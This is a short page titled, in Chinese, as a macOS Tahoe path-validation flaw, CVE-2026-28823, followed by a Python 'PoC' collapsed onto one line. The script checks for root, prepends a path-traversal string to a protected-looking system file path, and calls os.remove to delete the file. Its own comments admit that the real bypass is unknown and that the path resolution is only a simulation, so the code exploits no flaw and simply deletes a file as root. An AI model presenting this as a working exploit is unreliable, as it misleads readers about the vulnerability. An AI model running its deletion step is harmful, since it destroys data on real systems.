CVE-2026-28823 macOS Tahoe路径验证漏洞

import os # PoC for CVE-2026-28823 # This script demonstrates a path handling issue where validation might be bypassed. # Requirement: The script must be run with root privileges. TARGET_FILE = "/System/Library/Protected/secret_config.plist" def exploit_path_validation(): print("[+] Attempting to exploit CVE-2026-28823...") # Check if running as root if os.geteuid() != 0: print("[-] Error: This PoC requires root privileges (PR:H).") return # Construct a malicious path that might bypass validation logic # Example: Using relative path traversal or specific malformed sequences # Note: The actual bypass technique depends on the specific validation flaw. malicious_path = "./../../../../../../../../.." + TARGET_FILE # Normalize the path to see what it resolves to (simulation of system behavior) # In a vulnerable scenario, the system might not normalize correctly before check. resolved_path = os.path.abspath(malicious_path) print(f"[*] Malicious path input: {malicious_path}") print(f"[*] Resolved path: {resolved_path}") try: # Attempt to remove the protected file # In a real exploit, this would succeed due to lack of validation if os.path.exists(resolved_path): os.remove(resolved_path) print(f"[+] Success: Protected file at {resolved_path} has been deleted.") else: print(f"[-] File not found at {resolved_path}. (This is expected on patched systems or non-vulnerable paths)") except PermissionError: print("[-] Permission denied. Validation patch might be active or SIP is blocking.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit_path_validation()